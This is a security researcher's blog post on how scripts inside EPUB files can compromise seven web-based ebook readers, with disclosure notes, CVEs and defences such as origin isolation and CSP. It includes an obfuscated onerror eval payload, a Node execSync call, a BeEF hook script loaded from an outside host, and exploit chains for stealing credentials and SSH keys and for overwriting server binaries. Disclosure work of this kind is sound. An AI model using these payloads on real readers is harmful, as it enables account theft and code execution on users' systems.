Every Trick in the Book
“Reading brings us unknown friends."
– Honoré de Balzac
I love generalizing an idea that helped me to achieve a specific goal.
The research presented in this article started with Kavita
, a self-hosted digital library. I wasn’t able to find any meaningful attack vector, so I’ve decided to make it an inside job:
By adding a malicious script to an ebook.
To my surprise, this worked and it led me down a rabbit hole of way too many reader applications.
This is by no means a revelation.1 The dangers of executing scripts inside an EPUB
are well documented.
Other, more thorough and academic research exists.
My personal spin, however, is to exclusively look at web-based readers. This includes desktop applications built on top of Electron
and the like.
Firstly, we’re going to learn about the inherit problem of script execution in ebooks.
Afterwards, we’re going to look at seven different case studies, which often resulted in remote code execution (RCE
).2
And lastly, we’re going to discuss the feasibility of mounting attacks via ebooks with some hypothetical examples.
TL;DR: We assume JavaScript
(JS
) execution inside web-based ebook readers. How much fun can we have?
Alright, let’s do this by the book!
EPUB File Format
We’re not going to deep dive into the EPUB 3
specification (which is the version we’re exclusively talking about). It’s a great read, but for our purposes we simply need to know a few things:
An EPUB publication is, in its most basic sense, a bundle of resources with instructions on how to render those resources to present the content in a logical order.
Those resources consist of XHTML
pages, CSS
style sheets and many others. More interesting to us is the ability to house scripted content.
Long story short: EPUBs
are build with web technology. Displaying them inside a web page3 without restrictions is just asking for trouble.
But what exactly is dangerous about it?
Don’t Drop the SOP
The security guidelines in the specification provide the following advice:
EPUB creators should note that reading systems are required to behave as though a unique origin [html] has been assigned to each EPUB publication. In practice, this means that it is not possible for scripts to share data between EPUB publications.
“A unique origin” refers to the same-origin policy
(SOP
), which is one of the fundamental security mechanisms of the web platform
. Basically page one can’t access data of page two.
As we’re going to see, every presented attack in this article is made possible by serving an EPUB
from the same origin as the web page itself.
This means malicious scripts have access to the whole page, including session tokens which enable powerful interactions with the backend server! The perfect trojan 🐴.
Epub.js
Epub.js is a JavaScript library for rendering ePub documents in the browser, across many devices.
This project makes it very simple to incorporate EPUB
rendering into a web app and is used by many applications (including most of the ones presented later in the article).
It uses an iframe
with the sandbox attribute set. By default, this will serve the content from a special origin that always fails SOP
checks.
However, the current implementation of Epub.js
turns this off:
|
|
By itself, this is not a problem. It’s only the combination with allow-scripts
that make the sandbox attribute useless.
Daniel Dušek wrote about how to escape such iframes
.
Of course, the authors of Epub.js
know about this, too. A section in their README.md
talks about the danger of allowing scripts, which is the reason why the setting allowScriptedContent
is set to false
by default.
Naturally, we search for every occurence where that setting is true
, which results in an iframe with allow-scripts
set. By doing so, we can compile a list of potential targets.
But let’s take a step back first. Why would one allow scripts in the first place? Is it the fear of breaking certain dynamic books?
The authors4 of the previously mentioned “Reading Between the Lines” paper state:
Based on our real-world analysis of 9,000 EPUBs, we argue that the discussed restrictions for the EPUB specification would have a minimal impact; none of the analyzed EPUBs required local or remote resources to render correctly, and even the few that embedded JavaScript remained functional when execution was prevented.
It seems the concern about incompatibility is unwarranted. But there’s another reason:
Safari
users.
WebKit
has a long-standing bug that swallows events originating inside an iframe
if allow-scripts
is not set. This means the parent page can’t handle events (click, touch etc.) that might be important for providing a good reading experience.
Case Studies
And now for the juicy part.
As always, every exploit uses this beautiful 😘 prelude:
|
|
Just so it’s clear where all the screaming in the demos is coming from.
Kavita
Lightning fast with a slick design, Kavita is a rocket fueled self-hosted digital library which supports a vast array of file formats. Install to start reading and share your server with your friends.
As previously noted, it all started with Kavita
. I did find a couple of little things, but nothing that led to a meaningful compromise of either the server or the user’s data.
After a while, I thought to myself:
Why not attack from the inside‽
What does actually happen if an ebook gets appended to the DOM
?
Well, it gets… appended. Everything.
Kavita
makes great use of Angular's
DomSanitizer in general, but the following line allows us to inject whatever we want:
|
|
There’s also no server-side sanitization, which means we’re free to include whatever scripts we want.
More often than not, JS
execution in the right user context leads to RCE
.5
However, Kavita
is quite robust in that regard. The REST API
doesn’t surface overly powerful functionality like unrestricted file uploads or plugins.
In the end, I’ve settled for getting the user’s mail address and password. Setting them is not mandatory, so the impact is not as severe as I would hope.
Here’s the “exploit”:
|
|
I’ve transformed the script and used an onerror
handler like this:
<audio src="/this-does-not-exist.mp3" onerror="eval(String.fromCharCode(<.......>))"></audio>
I think this slightly convoluted way of doing it was necessary because a bog standard <script>
didn’t get executed (probably because of how the ebook content gets appended to the DOM
- a timing thing).
Anyway, here’s the demo:
The maintainer was very responsive, but doesn’t want to remove the ability to display dynamic EPUB
content. While I personally disagree, it’s a perfectly valid stance!
Overall not a bad start, but we can definitely do better!
Update June 29, 2024: CVE-2024-39307
was issued for this vulnerability and it is tracked here.
Flow
Flow is a browser-based open source EPUB
reader and the first of many projects that use Epub.js
for rendering. It’s meant to be installed as a progressive web app (PWA
).
Because there’s no server component, the impact we can have is minimal.
I quickly looked into file handling of PWAs
after seeing this:
|
|
My hope was that JS
executed in the context of a PWA
gets special capabilities. However, it looks like this is simply a way to open with.
Flow
also supports syncing via Dropbox
. Here is some logic dealing with authentication. We could probably steal the refresh token, but I have no Dropbox
account to verify.
Here’s a simple proof of concept:
The issue is tracked here.
Jellyfin
Our old media server friend Jellyfin
uses Epub.js
, too. They introduced allowScriptedContent = true
with this commit and are well-aware of the WebKit
bug.
Exploitation can range from stealing session tokens to remote code execution on the server.
The ability to specify the FFmpeg
path was removed, which means we can’t simply use our old approach.
Assuming our exploit runs in the context of an administrator account6, we can use the PackageController to add a new plugin repository and install a malicious one from there.
Plugins allow for arbitrary code execution on the server under the user account that runs Jellyfin
itself.
I didn’t write that exploit, though, so here’s a simple proof of concept:
|
|
And here you can see it in action:
I’ve notified the team on May 7, 2024 as per their security policy, but received no answer. They recently fixed a similar XSS
vulnerability for PDFs
, so it seems they would care.
Given that many other projects already have public information about this issue and they specifically opted into the scripted content, I feel okay about sharing the information.
Update July 22, 2024: They did respond in the meantime and fixed the issue with version 10.9.8.
Alexandria
A minimalistic cross platform eBook reader, built with Tauri ❤️ Epub.js
Tauri
is an Electron
alternative, which means it’s used to build desktop applications with web technology.
Naturally, there’s also an inter-process communication (IPC
) mechanism to bridge the gap between web app and host. IPC
is always worth a look, as it can expand the impact of an XSS
vulnerability quite dramatically.
We could audit every JS
callable function, which are annotated with #[tauri::command]
. An attacker might get creative with those, especially if more get added over time.
I’ve chosen a different route: Tauri
is configured to enable the custom asset
protocol:
|
|
Because a wildcard is used in line 24, every file accessible to the user can be served that way.
The following exploit fetches a private SSH
key with a default filename:
|
|
Let’s see it in action:
Alexandria's
author fixed the issue via content security policy.
The issue is tracked here.
Neat-Reader
Neat Reader is a free and easy-to-use online EPUB reader that works on all your devices and syncs your reading progress. It supports EPUB 2 and 3 standards, annotations, notes, cloud storage, and more features to enhance your reading experience.
This project uses readium-js, another EPUB
processing / rendering engine. I’ve found previous research by Zeyu.
Both, the web and the (Windows
) desktop version, are vulnerable.
As one might expect, the desktop version uses Electron
. Because they forgot some points on the Electron security checklist, we can simply get a hold of the Node.js
integration.
In practice, this means we have complete access to the host machine from within JS
.
Calc-popping was never easier:
window.top.require("child_process").execSync("calc");
As with Flow
, the web version supports cloud syncing. Maybe we could steal some tokens relevant to those services, but I haven’t tested this.
Here’s a simple proof of concept for the web version:
And here a calculator on Windows
:
Testing was done on version 8.1.4 for Windows.
The issue is tracked here.
Obsidian Annotator
Obsidian is the private and flexible writing app that adapts to the way you think.
Again, this is build with Electron
. If you want a thorough report on Obsidian
itself, you can read cure53's
pentest report.
We, however, will look at Obsidian Annotator, a plugin that allows to open and annotate PDFs
and EPUBs
inside Obsidian
.
It’s rather popular:
|
|
Total number of plugins: 1810
Total downloads of 'obsidian-annotator': 384693
Overall position: 23
Do note that plugins are disabled by default. For good reason, too:
Due to technical limitations, Obsidian cannot reliably restrict plugins to specific permissions or access levels. This means that plugins will inherit Obsidian’s access levels.
Annotator
is especially interesting, because loading an EPUB
can be done remotely via URL
. I’m thinking of a tutorial or stackoverflow
post that points to an inconspicuous URL
for testing purposes:
BOOM. RCE!
I’m a criminal mastermind. 🧠
Exploitation is exactly the same as with Neat-Reader
:
|
|
We use window.top
to make sure require
is available, no matter how deep our code gets executed.
Here’s the demo:
Tested with Obsidian 1.5.12
and Annotator 0.2.11
on Windows
.
The issue is tracked here.
Audiobookshelf
Audiobookshelf is an open-source self-hosted media server for your audiobooks and podcasts.
It also features basic reader support via… you guessed it: Epub.js
.
With JS
code execution confirmed, it’s time to map out the attack surface. Audiobookshelf
consists of a server written in JS
and a Vue
single page application (SPA
).
Additional mobile apps exist in beta state, but we’re focusing on the web app.
As mentioned in the Kavita
section, getting remote code execution with an XSS
vulnerability as the starting point is heavily dependent on the kind of functionality surfaced by the API
that’s used to communicate between client and server.
From now on, we assume a user with high privileges (upload, creation of libraries) views a malicious ebook.
Thankfully, Audiobookshelf
offers an OpenAPI
specification, which enables us to find interesting endpoints here. It’s no replacement for actual code audit, though, as endpoints can be omitted.
In the case of Audiobookshelf
, there’s no immediate win like the ability to execute arbitrary commands on the server.
File uploads are another interesting primitive. If not handled carefully, an attacker might be able to upload into unexpected places.
Audiobookshelf
has an /upload
endpoint:
|
|
Nothing out of the ordinary at first glance. Line 55 highlights the special treatment for podcast libraries. More interesting than what’s here is what’s missing: Checks for the existence of directories and files.
Still, we wouldn’t be able to upload to an existing directory or overwrite files from within the UI. Why not?
Because an (undocumented) endpoint exists solely for guarding against this: api/filesystem/pathexists
.
The UI code follows the expected sequence of calls, but we won’t! We simply call /upload
directly.
I don’t know what caused the decision to move the functionality into a separate endpoint, but in my book it’s a classic logic bug.
We have our unrestricted file upload, which is precisely what enables the oldest trick in the book:
Our goal is to overwrite the FFmpeg
binary with a malicious one and trigger its execution.
Firstly, the exploit creates a new podcast library with its root two directories above the FFmpeg
binary. As shown above, only the title of an uploaded file inside a podcast library will be added to the path, meaning the title should be the name of the directory containing the binary.
/audiobookshelf/config/ffmpeg.exe
^ ^ ^
| | |
library root | |
title |
filename
We upload a file with the title ‘config’ and the filename ‘ffmpeg.exe’. This will overwrite the legit binary. After placing the malicious binary, we create a new podcast and navigate to the library. The cover of our newly added podcasts gets loaded, which in the end triggers our malicious binary for resizing of the image.
Putting it all together, we get the following exploit:
|
|
As highlighted in line 36, we don’t worry the slightest bit about our payload size. Just inline the whole binary. We’re in a fucking book!
Here’s a video showing the exploit in action:
Nice.
This scenario should be exclusive to Windows
, because dropped files on Linux lack the execution bit. I haven’t tested this, though. On Linux
, we could overwrite ~/.ssh/authorized_keys
and provide our own public key so that we can log into the machine. I also haven’t tested this.
The maintainer was very responsive and provided a fix with version 2.10.0.
CVE-2024-35236
was issued for this vulnerability and it is tracked here.
Scheming
We had quite the impact in some cases, right? But how practical is the idea of putting malicious code into an EPUB
?
Every reader needs a different payload, which brings us into social-engineering territory if we hope to execute the right one in each distinct environment.
Of course, some kind of user interaction is always required. But we want to keep it to the minimum of downloading an ebook and looking at it with reader X.
How can we make the attack more generic?
For starters, we can use our scripts to fingerprint the environment. Not only the browser, but the application itself.
We’d still have to maintain a huge script with lots of conditions and branches. Most certainly we’d also get one chance only, as a second download seems highly unlikely. Goodbye, malicious-v2.epub
.
What we really want is a stage one payload suitable for almost all environments which connects back and waits for further instructions.
🥁 🥁 🥁
Introducing BeEF - the Browser Exploitation Framework.
BeEF
works by injecting a script that handles communication between a hooked browser and the BeEF
server.
We can simply include
<script src='https://tofu.lol/hook.js'></script>
into our EPUB
and wait for connections.
All kinds of useful and not so useful things are possible if we catch one:
As awesome as the built-in commands are, we’re mainly interested in doing some reconnaissance in order to launch the correct exploit for the environment.
Once hooked, we’re free to execute whatever JS
we want. The whole process can be scripted, too!
If we don’t have an exploit handy, we can at least run our cryptojacking operation on an army of ebooks.
In all seriousness: Hooking can always be done where script execution is permitted.7 So while conceptually funny, it is totally possible to create an ebook botnet!
But what makes this more interesting than a website, which can -you know- run arbitrary JS
?
I’d argue that EPUBs
are generally more trusted than random websites. Both, by developers of reader applications and users.
As a consequence, we can get into more interesting places (like old WebViews
), which can lead to serious compromise.
Another distinct advantage of EPUBs
over normal websites is the fact that they’re kept open for a lot longer.
And time is monero, as they say.
Not quite sold? How do the EPUBs
get distributed in the first place you ask?
Well, let me ask you: Have you ever used an online converter? Or maybe that one book which is out of print since 2004 and costs $129 (used) by now fell off the back of a truck?8
Do you trust those online converters not to inject scripts? Do you trust the truck driver?
Solutions
If we don’t trust them, what are our options?
As already stated, every attack was made possible because the EPUB
was served from the same origin as the web page itself. If we can’t access its resources, we can’t talk to the API
or use the Electron
features that led to RCE
.
Consequently, ebooks should be treated as every other user controlled resource, which means serving them from a different origin.
This can be achieved with a properly sandboxed <iframe> or a different (sub)domain.
While this is an effective defense against targeted exploits, we’d still be able hook the reader application with BeEF
. All benefits discussed in the previous section apply.
Another option is to configure a content security policy
(CSP
). It can be used to block scripts (among other things), whether inlined or remotely fetched.
End users might be interested in the Dangerzone project. It works by having multiple conversion steps in different containers that result in a clean PDF
. Because it can only ouput PDFs
, it’s probably a tough sell for dedicated EPUB
reader apps.
Conclusion
In summary, we were able to utilize the inherit scripting capabilities of EPUBs
to exploit various reader applications - trojan horse style. Both developers and users generally put more trust into an ebook than a random website, which results in quite permissive environments. Ebooks also have other distinct advantages, like the duration they’re kept open.
Furthermore, we’ve thought about the feasibility of this attack vector and came up with the hypothetical idea of injecting a generic payload via online converter services or pirated ebooks. Said payload hooks the reader application with the help of BeEF
. Besides enabling reconnaissance and launching custom exploits against the various reader apps, we can do other things like mapping the local network or launching distributed denial-of-service
attacks.
Hopefully it goes without saying that this is purely academical! Please don’t use any of the described techniques destructively. Shame on you if you do!
While there may be use cases for script execution inside an ebook, I fail to see the benefit of enabling it by default.
As the authors of the “Reading Between the Lines” paper put it:
[…] we also propose to reconsider the capability of unrestricted JavaScript execution in EPUB reading systems, perhaps requiring user consent when a script is about to be executed.
Not everything needs to be Turing-complete.
Thank you so much for reading!
Resources and Acknowledgments
- Calibre for editing the
EPUBs
- EPUB javascript security by Baldur Bjarnason
- EPUB test file for testing (security) aspects of reader applications
- Video presentation of the
Reading Between the Lines
research - the developer of Foliate for their great explanations in some of the issues linked above
- the Dangerzone project for safe file conversions
Well, it was for me. ↩︎
I’m going to refer to arbitrary code execution (which is not expected
JavaScript
) asRCE
, even if technically not remote. It’s complicated - you’ll see. ↩︎I will use the terms website, web page and web app interchangeably. ↩︎
G. Franken, T. Van Goethem and W. Joosen, “Reading Between the Lines: An Extensive Evaluation of the Security and Privacy Implications of EPUB Reading Systems,” 2021 IEEE Symposium on Security and Privacy (SP), San Francisco, CA, USA, 2021, pp. 1730-1747, doi: 10.1109/SP40001.2021.00015. ↩︎
Which is not far-fetched. Who does have two separate accounts for self-hosted apps? Apart from you, of course! ↩︎
I’ve looked at a lot more readers. Even if we can’t escalate from
JS
code, we still have…JS
code. ↩︎Don’t answer that! 🤫 ↩︎